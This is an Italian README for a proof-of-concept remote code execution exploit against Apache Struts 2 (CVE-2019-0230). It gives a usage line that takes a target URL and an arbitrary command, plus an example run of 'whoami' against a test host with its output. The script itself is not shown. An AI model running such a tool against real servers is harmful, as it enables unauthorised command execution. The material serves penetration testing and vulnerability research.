
Proof-of-concept exploit per la vulnerabilità di esecuzione remota di codice in Apache Struts 2 CVE-2019-0230, che consente l'iniezione di comandi tramite richieste HTTP appositamente formulate.
Exploit CVE-2019-0230
Questo è l'exploit CVE-2019-0230
python3 cve-2019-230.py <url or ip> <command>
esempio:
# python3 cve-2019-0230-poc.py pentest.com whoami
Testing pentest.com!
Command being passed for RCE: whoami
2020/10/22/